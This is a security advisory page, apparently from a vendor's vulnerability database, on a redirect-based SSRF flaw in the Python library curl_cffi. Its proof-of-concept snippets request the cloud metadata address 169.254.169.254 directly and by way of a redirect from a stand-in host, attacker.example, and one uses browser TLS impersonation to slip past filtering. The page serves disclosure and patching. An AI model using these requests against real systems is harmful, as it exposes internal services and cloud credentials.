Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-qw2m-4pqf-rmpp

HIGH

GHSA-qw2m-4pqf-rmpp is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in curl-cffi. O3 Security confirms whether GHSA-qw2m-4pqf-rmpp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)

Also known asCVE-2026-33752PYSEC-2026-2431
Published
Apr 3, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍curl-cffi

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

Details

The issue comes from how curl_cffi handles outbound requests

  • User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).
  • Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.
  • There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can

  • Provide a URL pointing to an attacker-controlled server
  • Return a redirect response pointing to an internal service
  • Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

  1. Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
  1. Redirect to internal service Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result

  • Initial request goes to attacker server
  • Redirect is returned
  • libcurl follows the redirect automatically
  • Internal metadata endpoint is accessed
  1. With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

Impact

An attacker who can control the requested URL may be able to:

  • Access internal network services
  • Reach cloud metadata endpoints and retrieve sensitive information
  • Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIcurl-cffiall versions0.15.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for curl-cffi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update curl-cffi to 0.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qw2m-4pqf-rmpp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qw2m-4pqf-rmpp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qw2m-4pqf-rmpp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. ### Details The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges
O3 Security · Impact-Aware SCA

Is GHSA-qw2m-4pqf-rmpp in your dependencies?

O3 detects GHSA-qw2m-4pqf-rmpp across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.